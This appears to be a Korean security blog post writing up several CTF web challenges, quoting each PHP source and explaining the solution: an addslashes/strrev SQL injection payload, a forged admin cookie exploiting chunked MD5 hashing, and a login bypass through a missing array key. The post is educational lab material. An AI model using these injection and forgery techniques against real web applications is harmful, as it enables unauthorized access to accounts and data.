webhacking/etc

공유받은 웹문제 일부.

qkqhxla1 2015. 8. 29. 17:01

bob ctf의 웹 문제 일부를 재밌을거라고 rubiya님이 공유해줌. 


1.

<?php
  
include "../prob_dbconn.php";
  
dbconnect("sqli");
  if((
$_GET['id']) && ($_GET['pw'])){
    
$id strrev(addslashes($_GET['id']));
    
$pw strrev(addslashes($_GET['pw']));
    
filter($id);
    
filter($pw);
    
$q "select id from chall2_ where id='{$id}' and pw='{$pw}'";
    
$r mysql_fetch_array(mysql_query($q));
    if(
$r['id'])
      echo 
"Hello ".$r['id'];
    if(
$r['id'] == "admin")
      echo 
"<br>Flag: ".flag("chall2");
  }
  echo 
"<form>id : <input name=id><br>pw : <input name=pw><br><input type=submit></form><hr>query : <strong>{$q}</strong><hr>";
  
highlight_file(__FILE__);
?>


가 소스이다. 어떤 값이 들어가던 addslashes이후에 strrev로 문자열을 거꾸로 뒤집는다. 그래서 '를 넣으면 '\처럼 삽입된다. addslashes함수를 찾아보면 널바이트에도 \를 씌워준다. 이걸 이용해서

?id=%00&pw=%23e696d64616x0+tceles+noinu%0a

처럼 입력하면

query : select id from chall2_ where id='0\' and pw=' union select 0x61646d696e#'

로 변형되어 flag 가 나오게 된다.


2.

<?php

if($_GET['s'] == 1){ highlight_file(__FILE__); exit; }

include 
"./flag.php";

$guestLevel "0";
$adminLevel "1";
$keyLength 32;

function 
gotHash($uid,$ulevel){
  global 
$guestLevel$adminLevel$keyLength$flag;
  
$plain $uid $flag $ulevel;
  for(
$i=0;$i<strlen($plain);$i+=$keyLength)
    
$hash .= md5(substr($plain,$i,$keyLength));
  return 
$hash;
}

if(
$_GET['logout'] == 1){ setcookie("id","");  header("Location: ./"); }

elseif(
$_POST['id']){
  
$hash gotHash($_POST['id'],0);
  
setcookie("id"$_POST['id']."|".$guestLevel."|".$hash);
  
header("Refresh:0");
}

elseif(
$_COOKIE['id']){
  
$userArr explode("|",$_COOKIE['id']);
  if(
gotHash($userArr[0],$userArr[1]) !== $userArr[2]) exit("No Hack");
  else{
    echo 
"Hello {$userArr[0]}<br><a href=./?logout=1>logout</a>";
    if(
$userArr[1] === $adminLevel) echo "<br>Flag is ".$flag;
  }
}

else{
?>
<form method=post>id : <input name=id><br><input type=submit><br><br><a href=./?s=1>source</a>
<?php ?>


가 소스이고, 코드를 해석해보면 대충 length extension문제인것 같았는데.. 뭔가 실수이거나 아니면 원래 이런 문제일지도 모르겠다. (length extension attack를 몰라도 된다.)

해쉬 생성부분을 자세히 살펴보면 32자씩 끊어서 해쉬를 생성한다. 입력값+flag+0을 해쉬로 생성하는데, 32글자가 넘어가면 32자씩 앞에서부터 끊어서 생성한다. 그러므로 입력값을 1씩 증가시키며 해쉬가 32글자에서 64글자로 넘어가는 부분을 살펴보자.

입력값이 14개가 됬을때 해쉬가 64개가 생성되는데 이는 입력값+flag == 길이 32이며, 이것을 해쉬한 값이 앞의 32글자이고, 뒤의 32글자는 남은 숫자인 0을 해쉬한 값임을 추측해볼수 있었고, 직접 md5를 돌려본결과 맞다는걸 알수 있었다.

그렇다면 입력값은 저대로 놔두고 중간의 0을 1로 바꾼 후 뒤쪽 해쉬를 1을 해쉬한값으로 바꾸면 된다.

aaaaaaaaaaaaaa%7C1%7Cbba97fc4c334e2a0e5b1f08098cd051fc4ca4238a0b923820dcc509a6f75849b

처럼 쿠키값을 주면 된다. 진한부분은 1을 md5한값.

Flag is ekdrmsekdrmsekdrms

처럼 나온다. 아무리 살펴봐도 실수 같다.(원래 이런 문제인가?)


3.

<?php
  
include "../prob_dbconn.php";
  
dbconnect("sqli3");
  if(
preg_match('/information|_|schema|\(|\)/'$_SERVER['QUERY_STRING'])) exit("you fail idiot");
  
$key key($_GET);
  if(
$_GET[$key]) $where $key "='" $_GET[$key] . "'";
  else 
$where "1";
  
$q "select 1 from nothing where ".$where;
  
$r mysql_fetch_array(mysql_query($q));
  if(
$r[0]){
    echo 
"Result : ";
    
print_r($r);
  }
  echo 
"<hr>query : <strong>{$q}</strong><hr>";
  
highlight_file(__FILE__);
?>


의도가 뭔지 모르겠다. nothing테이블 내부에 컬럼이 여러개 있고, 그중에 flag가 있는 컬럼의 값을 찾아서 뽑아오는거같은데 풀다가 진도가 안나가서 포기했다. 나중에 추가.



layer ctf web 50.

<?php
   define
("FNAME"basename(__FILE__));
   
define("PATH"dirname(__FILE__) . "/");

   include_once(
dirname(__FILE__) . "/config.php");
   function 
filter($username){
       
      if(
preg_match("/[A-Z][a-z][0-9].*/"$username)){
         
$auth true;
      }else{
         
$auth false;
      }
     
      return 
$auth;
   }
   function 
challenge($username$password){
      global 
$flag;
      if(isset(
$username)){
         if(isset(
$password)){
            if(!
filter($username)) return "Filter it";
            
$rand_val "abcdefghijklmnopqrstuvwxyz0123456789";
            
$passwd '';
            for(
$j 0$j 2$j++){
               for(
$i 0$i 31337$i++){
                  
$passwd[$j] .= $rand_val[rand(0strlen($rand_val) - 1)];
               }
            }
            
$database = array(
               
"Layer7" => $passwd[0],
               
"Admin0" => $passwd[1],
            );
            if(
$database[$username] != $password){
               return 
$passwd[0];
            }
            return 
sprintf("flag is %s"$flag);
         }else{
            return 
"Input Password";
         }
      }else{
        
highlight_file(PATH 'index.php');
        return 
"Input Username";
      }
   }
   echo 
'<form method=post><input type=text name=username><input type=password name=password><input type=submit value=Login></form>';
   
printf("<br>Message : %s!"challenge($_POST['username'], $_POST['password']));
?>

소스코드가 이렇게 길게 있는데 대충 읽어보면 난수를 예측하라는 소리이다. 그런데 

 $database = array(
               
"Layer7" => $passwd[0],
               
"Admin0" => $passwd[1],
            );
            if(
$database[$username] != $password){
               return 
$passwd[0];
            }
            return 
sprintf("flag is %s"$flag);

여기가 중요하다. $database[$username]이 내가 입력한 $password와 같으면 되는데, $database가 주어져있다. 그냥 $database에 없는값인 Aa0같은걸 아이디로 입력하고, 비밀번호로는 아무것도 입력 안하면 $database['Aa0']=""가 나와서 true가 된다. 50점짜리이니만큼 간단한 문제였다. security traps에서 가져온듯.



layer ctf web 350.

풀다 술먹으러 갔다.

aad39b5cb711ce099d55b187fb732439.7z

나중에 살펴보니 https://www.owasp.org/index.php/PHP_Object_Injection 요거 관련 문제인듯. 정리해둬야지

write up : http://adm1nkyj.tistory.com/74

'webhacking > etc' 카테고리의 다른 글

PHP Object Injection  (0) 2015.10.02
codeshell.kr adm1nkyj trick 1, 2  (0) 2015.08.25
이전 ctf연구 (hack.lu)  (0) 2015.08.22
php 취약 함수 관련  (0) 2015.08.21
codeshell.kr hash col, dummy 64  (0) 2015.08.10